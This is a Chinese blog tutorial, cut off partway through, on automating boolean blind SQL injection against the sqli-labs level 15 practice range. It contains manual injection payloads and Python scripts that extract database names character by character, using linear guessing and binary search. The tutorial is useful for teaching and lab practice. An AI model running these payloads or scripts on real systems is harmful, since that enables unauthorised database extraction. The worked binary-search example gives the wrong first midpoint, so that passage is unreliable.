从原理到脚本:用Python3实现sqli-labs布尔盲注自动化攻击(附完整代码)
布尔盲注,这个听起来有些拗口的技术名词,实际上是Web安全领域中一种极具挑战性的攻击手法。想象一下,你面对一个看似普通的登录页面,无论输入什么,它都只会礼貌地告诉你“登录成功”或“登录失败”,没有任何详细的错误信息。这种情况下,传统的SQL注入手段往往束手无策,但布尔盲注却能像侦探一样,通过观察页面最细微的变化,一步步揭开数据库的神秘面纱。
我在实际渗透测试项目中多次遇到过这种场景。记得有一次,客户的一个关键系统前端看起来坚不可摧,所有错误都被精心隐藏。但正是通过布尔盲注,我们最终发现了隐藏在深处的SQL注入漏洞。这种“无声”的攻击方式,往往比那些直接报错的注入更加隐蔽,也更难防御。
1. 布尔盲注的核心原理:从“是与否”中提取信息
布尔盲注的本质,是利用应用程序对SQL查询结果的不同响应来推断数据库信息。当攻击者构造特定的SQL条件时,如果条件为真,页面会显示某种特征(比如“登录成功”);如果条件为假,则显示另一种特征(比如“登录失败”)。通过反复构造不同的条件,攻击者可以像玩“猜数字”游戏一样,逐步猜出数据库的内容。
1.1 布尔盲注的基本工作流程
布尔盲注攻击通常遵循一个清晰的逻辑链条:
- 识别注入点:找到存在SQL注入漏洞的参数
- 确定闭合方式:判断SQL语句的闭合字符(单引号、双引号等)
- 验证布尔条件:构造简单的真/假条件,观察页面响应差异
- 逐位猜解:从数据库名、表名到具体数据,一步步猜解每个字符
让我用一个简单的例子来说明这个过程。假设有一个存在布尔盲注漏洞的URL:
http://target.com/page.php?id=1
攻击者可能会尝试:
-- 测试注入点
http://target.com/page.php?id=1' and 1=1 --
http://target.com/page.php?id=1' and 1=2 --
-- 猜解数据库名长度
http://target.com/page.php?id=1' and length(database())=8 --
-- 猜解数据库名第一个字符
http://target.com/page.php?id=1' and ascii(substr(database(),1,1))>100 --
注意:在实际测试中,
--后面的空格很重要,它确保注释符正确生效。有些情况下可能需要使用#或/* */作为注释符。
1.2 关键SQL函数解析
布尔盲注依赖几个核心的SQL函数,理解这些函数是掌握盲注技术的基础:
| 函数 | 作用 | 示例 | 说明 |
|---|---|---|---|
length() |
返回字符串长度 | length(database()) |
获取当前数据库名的字符数 |
substr() |
截取子字符串 | substr(database(),1,1) |
从数据库名中截取第1个字符 |
ascii() |
获取字符的ASCII码 | ascii('a') |
返回97,用于字符比较 |
mid() |
与substr功能类似 | mid(database() from 1 for 1) |
替代substr的另一种写法 |
在sqli-labs第15关中,我们面对的是基于POST提交的单引号布尔盲注。与GET请求不同,POST请求的数据不会显示在URL中,这要求我们的脚本能够处理表单提交。靶场的登录逻辑大致如下:
SELECT * FROM users WHERE username='$username' AND password='$password'
当我们在用户名或密码字段注入布尔条件时,服务器会根据条件真假返回不同的页面内容。这种差异可能很细微——可能只是一个单词的变化、一个CSS类的不同,甚至是响应长度的差异。
2. 手工测试:理解布尔盲注的每一个步骤
在编写自动化脚本之前,我们先通过手工测试来深入理解布尔盲注的每个环节。这个过程虽然繁琐,但对于理解原理至关重要。
2.1 确定注入点与闭合方式
首先,我们需要确认是否存在SQL注入漏洞。对于POST类型的注入,我们通常使用Burp Suite或浏览器的开发者工具来修改请求参数。
测试步骤:
- 正常登录测试:使用已知的正确凭证(如admin/admin)登录,观察成功页面的特征
- 布尔条件测试:在用户名或密码字段添加布尔条件
- 真条件:
admin' or '1'='1 - 假条件:
admin' or '1'='2
- 真条件:
- 观察响应差异:对比两个请求的响应内容
如果真条件和假条件返回的页面有明显差异(比如一个显示"Login Successful",另一个显示"Login Failed"),那么很可能存在布尔盲注漏洞。
2.2 猜解数据库信息
确认存在漏洞后,我们就可以开始系统性地猜解数据库信息了。这个过程就像在黑暗中摸索,每一步都需要谨慎验证。
猜解数据库名长度:
-- 测试数据库名是否大于7个字符
username: admin' or length(database())>7#
password: (任意值)
-- 测试数据库名是否大于8个字符
username: admin' or length(database())>8#
password: (任意值)
通过反复调整数字,我们可以确定数据库名的确切长度。如果>7返回真而>8返回假,那么数据库名长度就是8。
猜解数据库名:
知道了长度后,我们需要逐个字符猜解。以猜解第一个字符为例:
-- 测试第一个字符的ASCII码是否大于100
username: admin' or ascii(substr(database(),1,1))>100#
-- 测试是否大于110
username: admin' or ascii(substr(database(),1,1))>110#
-- 测试是否等于115
username: admin' or ascii(substr(database(),1,1))=115#
这个过程需要重复进行,直到确定每个字符的ASCII码值,然后转换为对应的字符。
2.3 系统化信息收集流程
完整的布尔盲注信息收集通常包括以下步骤:
- 当前数据库名 → 2. 所有数据库名 → 3. 指定数据库的表名 → 4. 指定表的列名 → 5. 表数据
每个步骤都遵循相同的模式:先猜解数量,再猜解每个条目的长度,最后猜解具体内容。这个过程如果完全手工操作,可能需要数百甚至数千次请求,这正是我们需要自动化脚本的原因。
3. Python自动化脚本设计:从基础到优化
手工测试虽然有助于理解原理,但效率极低。一个中等复杂度的数据库,完全手工猜解可能需要数小时甚至数天。通过Python脚本,我们可以将这个时间缩短到几分钟。
3.1 基础脚本框架
让我们从最基础的脚本开始。这个脚本需要完成几个核心功能:
- 发送HTTP请求并解析响应
- 判断布尔条件的结果(真/假)
- 实现字符猜解逻辑
- 组织和管理猜解过程
import requests
import string
import time
class BooleanBlindSQLi:
def __init__(self, target_url, success_indicator):
"""
初始化布尔盲注检测器
参数:
target_url: 目标URL
success_indicator: 成功响应的标识(如页面中的特定文本)
"""
self.target_url = target_url
self.success_indicator = success_indicator
self.session = requests.Session()
# 配置请求头,模拟浏览器行为
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive'
}
def test_condition(self, payload):
"""
测试布尔条件,返回True或False
参数:
payload: SQL注入payload
返回:
bool: 条件是否为真
"""
try:
# 构造POST数据
data = {
'uname': payload,
'passwd': 'test',
'submit': 'Submit'
}
# 发送请求
response = self.session.post(
self.target_url,
data=data,
headers=self.headers,
timeout=10
)
# 检查响应中是否包含成功标识
return self.success_indicator in response.text
except requests.RequestException as e:
print(f"请求失败: {e}")
return False
def get_database_length(self):
"""获取当前数据库名的长度"""
print("[*] 正在猜解数据库名长度...")
for length in range(1, 50): # 假设数据库名不超过50个字符
payload = f"admin' or length(database())={length}#"
if self.test_condition(payload):
print(f"[+] 数据库名长度: {length}")
return length
print("[-] 无法确定数据库名长度")
return None
这个基础框架提供了最核心的功能。test_condition方法负责发送请求并判断条件真假,get_database_length方法演示了如何猜解数据库名长度。
3.2 逐字符猜解的实现
逐字符猜解是布尔盲注中最耗时的部分。最基本的实现方式是遍历所有可能的字符:
def get_database_name_bruteforce(self):
"""暴力破解方式获取数据库名"""
db_name = ""
length = self.get_database_length()
if not length:
return None
print(f"[*] 开始猜解{length}个字符的数据库名...")
# 定义可能的字符集(可根据实际情况调整)
charset = string.ascii_lowercase + string.digits + "_"
for position in range(1, length + 1):
char_found = False
for char in charset:
# 构造测试payload
payload = (
f"admin' or ascii(substr(database(),{position},1))="
f"{ord(char)}#"
)
if self.test_condition(payload):
db_name += char
print(f"[+] 第{position}位: '{char}' → 当前: {db_name}")
char_found = True
break
if not char_found:
# 尝试大写字母
for char in string.ascii_uppercase:
payload = (
f"admin' or ascii(substr(database(),{position},1))="
f"{ord(char)}#"
)
if self.test_condition(payload):
db_name += char
print(f"[+] 第{position}位: '{char}' → 当前: {db_name}")
char_found = True
break
if not char_found:
print(f"[-] 第{position}位字符猜解失败")
db_name += "?"
return db_name
这种方法简单直接,但效率很低。对于每个字符,最坏情况下需要尝试62次(26个小写字母+26个大写字母+10个数字)。如果数据库名有8个字符,就需要496次请求。对于更复杂的信息收集(如表名、列名、数据),请求次数会呈指数级增长。
3.3 二分法优化:大幅提升效率
二分查找算法可以将猜解每个字符所需的平均请求次数从O(n)降低到O(log n)。对于ASCII码可打印字符(32-126),使用二分法最多只需要7次请求就能确定一个字符。
def binary_search_char(self, sql_expression, position):
"""
使用二分法猜解单个字符
参数:
sql_expression: SQL表达式,如"database()"
position: 字符位置(从1开始)
返回:
str: 猜解到的字符,如果失败返回None
"""
low, high = 32, 126 # ASCII可打印字符范围
while low <= high:
mid = (low + high) // 2
# 测试字符是否大于中间值
payload = (
f"admin' or ascii(substr(({sql_expression}),"
f"{position},1))>{mid}#"
)
if self.test_condition(payload):
# 如果大于mid,在右半部分继续查找
low = mid + 1
else:
# 测试是否等于mid
payload = (
f"admin' or ascii(substr(({sql_expression}),"
f"{position},1))={mid}#"
)
if self.test_condition(payload):
return chr(mid) # 找到字符
else:
# 如果小于mid,在左半部分继续查找
high = mid - 1
return None # 未找到字符
def get_database_name_binary(self):
"""使用二分法获取数据库名"""
db_name = ""
length = self.get_database_length()
if not length:
return None
print(f"[*] 使用二分法猜解{length}个字符的数据库名...")
for position in range(1, length + 1):
char = self.binary_search_char("database()", position)
if char:
db_name += char
print(f"[+] 进度: {db_name}")
else:
print(f"[-] 第{position}位字符猜解失败")
break
return db_name
二分法的优势非常明显。假设我们要猜解字符's'(ASCII码115):
- 暴力破解:需要从'a'开始尝试,直到's',共19次尝试
- 二分法:第一次比较>63,第二次比较>94,第三次比较>110,第四次比较>117,第五次比较>113,第六次比较>115,第七次比较=115,共7次尝试
随着字符集增大,二分法的优势更加明显。对于整个ASCII可打印字符集(95个字符),二分法最多只需要7次尝试,而暴力破解最多需要95次。
4. 完整自动化攻击脚本实现
现在,让我们将这些组件组合成一个完整的自动化攻击脚本。这个脚本将能够系统性地收集数据库的所有关键信息。
4.1 主控制器类设计
class SQLiAutomation:
def __init__(self, target_url, success_text="success", failure_text="failed"):
"""
初始化SQL注入自动化工具
参数:
target_url: 目标URL
success_text: 成功响应的标识文本
failure_text: 失败响应的标识文本
"""
self.target_url = target_url
self.success_text = success_text
self.failure_text = failure_text
self.injector = BooleanBlindSQLi(target_url, success_text)
# 存储收集到的信息
self.database_name = None
self.tables = []
self.columns = {}
self.data = {}
def run_full_attack(self):
"""执行完整的攻击流程"""
print("=" * 60)
383



被折叠的 条评论
为什么被折叠?



